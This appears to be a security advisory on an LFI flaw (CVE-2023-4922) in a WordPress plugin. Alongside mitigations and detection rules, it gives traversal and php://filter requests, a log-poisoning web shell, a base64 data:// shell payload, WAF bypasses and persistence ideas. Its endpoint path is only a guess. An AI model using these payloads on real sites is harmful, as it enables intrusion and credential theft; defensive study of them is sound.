Technical Analysis of EUVD-2023-54758 (CVE-2023-4922) – WPB Show Core Local File Inclusion (LFI) Vulnerability

1. Vulnerability Assessment & Severity Evaluation

EUVD ID: EUVD-2023-54758 CVE ID: CVE-2023-4922 CVSS v3.1 Base Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity Breakdown:

• Attack Vector (AV:N): Network-exploitable, meaning remote attackers can exploit this vulnerability without physical or local access.
• Attack Complexity (AC:L): Low complexity; no special conditions or user interaction are required.
• Privileges Required (PR:N): None; unauthenticated attackers can exploit this flaw.
• User Interaction (UI:N): None; exploitation does not require victim interaction.
• Scope (S:U): Unchanged; the vulnerability affects only the vulnerable component (WPB Show Core plugin).
• Confidentiality (C:H): High impact; attackers can read sensitive files (e.g., /etc/passwd, wp-config.php).
• Integrity (I:H): High impact; attackers may execute arbitrary code or modify files.
• Availability (A:H): High impact; successful exploitation could lead to denial of service (DoS) or full system compromise.

EPSS Score: 1.0 (100th percentile) – Indicates a high likelihood of exploitation in the wild.

Vulnerability Type:

Local File Inclusion (LFI) – A flaw in the path parameter of the WPB Show Core WordPress plugin allows attackers to include and execute arbitrary files from the server’s filesystem. This can lead to:

• Arbitrary file disclosure (e.g., configuration files, credentials).
• Remote Code Execution (RCE) if combined with file upload vulnerabilities or log poisoning.
• Server-side request forgery (SSRF) if the plugin interacts with external resources.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Prerequisites:

• Target: WordPress sites running WPB Show Core plugin ≤ 2.2.
• Attacker Knowledge: Basic understanding of LFI exploitation techniques.
• Tools Required: Burp Suite, cURL, or a web browser with manual parameter manipulation.

Exploitation Steps:

1. Identify Vulnerable Endpoint:

   • The vulnerability resides in an improperly sanitized path parameter, likely in a shortcode or AJAX handler.
   • Example vulnerable request:

     GET /wp-content/plugins/wpb-show-core/includes/file.php?path=../../../../etc/passwd HTTP/1.1
     Host: vulnerable-site.com
     

2. Basic LFI Exploitation:

   • File Disclosure:

     GET /wp-content/plugins/wpb-show-core/includes/file.php?path=../../../../wp-config.php HTTP/1.1
     

     • This could expose database credentials (DB_USER, DB_PASSWORD), WordPress salts, and other sensitive data.

   • PHP Wrapper Exploitation (if enabled):

     • If PHP wrappers (e.g., php://filter, data://) are not disabled, attackers can read PHP source code:

       GET /wp-content/plugins/wpb-show-core/includes/file.php?path=php://filter/convert.base64-encode/resource=../../../../wp-config.php HTTP/1.1
       

     • This returns the wp-config.php file in base64, which can be decoded to reveal plaintext credentials.

3. Remote Code Execution (RCE) via Log Poisoning:

   • If the server logs user-controlled input (e.g., User-Agent, Referer), an attacker can inject PHP code into logs and then include them via LFI:

     GET /wp-content/plugins/wpb-show-core/includes/file.php?path=../../../../var/log/apache2/access.log HTTP/1.1
     User-Agent: <?php system($_GET['cmd']); ?>
     

   • Subsequent requests can execute arbitrary commands:

     GET /wp-content/plugins/wpb-show-core/includes/file.php?path=../../../../var/log/apache2/access.log&cmd=id HTTP/1.1
     

4. SSRF via LFI (if applicable):

   • If the plugin processes external URLs, an attacker could force the server to make requests to internal services:

     GET /wp-content/plugins/wpb-show-core/includes/file.php?path=http://internal-service.local/admin HTTP/1.1
     

Post-Exploitation Impact:

• Credential Theft: Database, FTP, or WordPress admin credentials.
• Web Shell Deployment: Uploading malicious PHP files via LFI + file upload flaws.
• Privilege Escalation: If the web server runs as root or a privileged user.
• Lateral Movement: Compromising other services on the same server.

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3. Affected Systems & Software Versions

• Product: WPB Show Core (WordPress plugin)
• Vendor: Unknown (per ENISA ID)
• Vulnerable Versions: ≤ 2.2
• Patched Version: Not publicly disclosed (as of August 2024)
• Affected Environments:
  • WordPress installations with the WPB Show Core plugin active.
  • Shared hosting environments where LFI can lead to cross-site contamination.
  • Servers with misconfigured file permissions (e.g., 777 on sensitive directories).

Detection Methods:

• Manual Check:
  • Verify plugin version via WordPress admin panel (/wp-admin/plugins.php).
  • Test for LFI using payloads like ../../../../etc/passwd.
• Automated Scanning:
  • WPScan: wpscan --url https://target.com --enumerate vp
  • Nuclei: nuclei -u https://target.com -t cves/2023/CVE-2023-4922.yaml
  • Burp Suite / OWASP ZAP: Active scan for LFI patterns.

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4. Recommended Mitigation Strategies

Immediate Actions:

1. Disable or Remove the Plugin:

   • If no patch is available, deactivate and delete the WPB Show Core plugin immediately.
   • Replace with a maintained alternative (e.g., Custom Post Type UI for similar functionality).

2. Apply Virtual Patching:

   • Web Application Firewall (WAF) Rules:
     • Block requests containing ../, php://, data://, or other LFI patterns.
     • Example ModSecurity rule:

       SecRule ARGS:path "@pmFromFile lfi-payloads.txt" "id:1000,deny,status:403,msg:'LFI Attempt Blocked'"
       

   • Cloudflare / Sucuri: Enable LFI protection in WAF settings.

3. File System Hardening:

   • Restrict File Permissions:
     • Ensure sensitive files (wp-config.php, /etc/passwd) are not world-readable.
     • Set chmod 640 for configuration files.
   • Disable Dangerous PHP Functions:
     • In php.ini, disable:

       disable_functions = exec, system, passthru, shell_exec, proc_open
       allow_url_include = Off
       

4. Server-Level Protections:

   • Disable PHP Execution in Upload Directories:

     <Directory "/var/www/html/wp-content/uploads">
         php_flag engine off
     </Directory>
     

   • Enable Open Basedir Restrictions:

     open_basedir = /var/www/html/
     

Long-Term Remediation:

1. Update WordPress & Plugins:

   • Ensure WordPress core, themes, and all plugins are updated to the latest versions.
   • Monitor for security advisories from WPScan, CVE Details, and Wordfence.

2. Implement Least Privilege:

   • Run the web server (e.g., Apache/Nginx) as a non-root user.
   • Use PHP-FPM with separate pools for different sites.

3. Regular Security Audits:

   • Conduct penetration testing and code reviews for custom plugins.
   • Use static application security testing (SAST) tools like SonarQube or Semgrep.

4. Incident Response Planning:

   • Develop a playbook for LFI/RCE incidents, including:
     • Log analysis (/var/log/apache2/access.log, /var/log/auth.log).
     • Forensic investigation (file integrity monitoring, memory analysis).
     • Containment (isolating affected systems, revoking compromised credentials).

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications:

• GDPR (General Data Protection Regulation):

  • Unauthorized access to sensitive data (e.g., user credentials, PII) may trigger Article 33 (Data Breach Notification).
  • Organizations failing to patch known vulnerabilities could face fines up to €20 million or 4% of global revenue.

• NIS2 Directive (Network and Information Security):

  • Critical infrastructure operators (e.g., healthcare, energy, finance) must report significant cyber incidents.
  • LFI vulnerabilities leading to RCE could classify as a major incident under NIS2.

• DORA (Digital Operational Resilience Act):

  • Financial entities must ensure third-party risk management, including vulnerabilities in WordPress plugins.

Threat Landscape in Europe:

• Increased Exploitation by Cybercriminals:

  • Ransomware groups (e.g., LockBit, BlackCat) may leverage LFI to gain initial access.
  • Initial Access Brokers (IABs) could sell access to compromised WordPress sites on dark web forums.

• State-Sponsored Threats:

  • APT groups (e.g., APT29, Sandworm) may exploit LFI in targeted attacks against government or critical infrastructure.

• Supply Chain Risks:

  • Many European SMEs rely on WordPress for e-commerce and public services.
  • A single vulnerable plugin can lead to widespread compromises across multiple organizations.

Recommended EU-Specific Actions:

1. ENISA & CERT-EU Coordination:

   • Organizations should monitor ENISA’s Threat Landscape Reports and CERT-EU advisories.
   • Report incidents to national CSIRTs (e.g., CERT-FR, BSI (Germany), NCSC (UK)).

2. National Cybersecurity Strategies:

   • Governments should mandate vulnerability disclosure programs (VDPs) for open-source CMS plugins.
   • Promote automated patch management for public sector websites.

3. Public Awareness Campaigns:

   • Educate SMEs and local governments on WordPress security best practices.
   • Encourage the use of managed WordPress hosting with built-in security controls.

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6. Technical Details for Security Professionals

Root Cause Analysis:

• Vulnerable Code Snippet (Hypothetical Example):

  // In wpb-show-core/includes/file.php
  $file = $_GET['path'];
  include($file); // Unsanitized file inclusion
  

• Issue: The path parameter is directly passed to include() without validation, allowing directory traversal (../).

Exploitation Payloads:

Objective	Payload
Read /etc/passwd	../../../../etc/passwd
Read wp-config.php	../../../../wp-config.php
Base64-encoded PHP source	php://filter/convert.base64-encode/resource=../../../../wp-config.php
Log Poisoning (RCE)	../../../../var/log/apache2/access.log (with malicious User-Agent)
PHP Wrapper (RCE)	data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

Forensic Indicators of Compromise (IOCs):

• Logs:
  • Unusual GET requests with ../ or php:// in access.log.
  • PHP errors in error.log (e.g., failed to open stream: No such file or directory).
• Filesystem:
  • Unexpected .php files in /wp-content/uploads/.
  • Modified wp-config.php or .htaccess.
• Network:
  • Outbound connections to known C2 servers (e.g., hxxp://attacker[.]com/shell.php).

Advanced Exploitation Techniques:

1. Bypassing Basic WAF Rules:

   • Double URL Encoding: %2e%2e%2f%2e%2e%2fetc%2fpasswd
   • Null Byte Injection: ../../../../etc/passwd%00 (if PHP < 5.3.4)
   • Path Truncation: ../../../../etc/passwd/././././././././././././

2. Combining with Other Vulnerabilities:

   • LFI + File Upload: Upload a malicious .jpg file with PHP code, then include it via LFI.
   • LFI + XXE: If the plugin processes XML, an attacker could use external entities to read files.

3. Persistence Mechanisms:

   • Cron Job Injection: Modify /etc/crontab to execute a backdoor.
   • SSH Key Injection: Add an attacker’s public key to ~/.ssh/authorized_keys.

Detection & Hunting Queries:

• SIEM Rules (Splunk/ELK):

  index=web_logs uri_path="*wpb-show-core*" AND (uri_query="*path=*../*" OR uri_query="*php://*")
  

• YARA Rule for Malicious PHP Files:

  rule WPB_Show_Core_LFI_Exploit {
      meta:
          description = "Detects WPB Show Core LFI exploitation attempts"
          author = "Cybersecurity Analyst"
          reference = "CVE-2023-4922"
      strings:
          $lfi1 = "../etc/passwd"
          $lfi2 = "php://filter"
          $lfi3 = "data://text/plain"
      condition:
          any of them
  }
  

• Zeek (Bro) Network Detection:

  event http_request(c: connection, method: string, uri: string, version: string) {
      if (/wpb-show-core/ in uri && /path=.*\.\.\// in uri) {
          NOTICE([$note=HTTP::LFI_Attempt,
                  $msg=fmt("WPB Show Core LFI attempt: %s", uri),
                  $conn=c]);
      }
  }
  

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Conclusion & Recommendations

EUVD-2023-54758 (CVE-2023-4922) represents a critical-severity Local File Inclusion vulnerability in the WPB Show Core WordPress plugin, with high exploitability and severe impact on confidentiality, integrity, and availability. Given its CVSS 9.8 score and EPSS 1.0, organizations must prioritize patching or removal of the plugin to prevent exploitation by threat actors.

Key Takeaways for Security Teams:

1. Immediate Action: Disable the plugin if no patch is available.
2. Monitor & Detect: Deploy WAF rules and SIEM alerts for LFI attempts.
3. Harden Systems: Restrict file permissions, disable dangerous PHP functions, and segment web servers.
4. Compliance Check: Ensure GDPR/NIS2/DORA compliance in case of a breach.
5. Threat Intelligence: Monitor for exploitation trends in European cybercrime forums.

Final Recommendation:

Given the high likelihood of exploitation, organizations should assume compromise if the plugin was active and conduct a full forensic investigation if suspicious activity is detected. Proactive measures, including automated vulnerability scanning and continuous monitoring, are essential to mitigate similar threats in the future.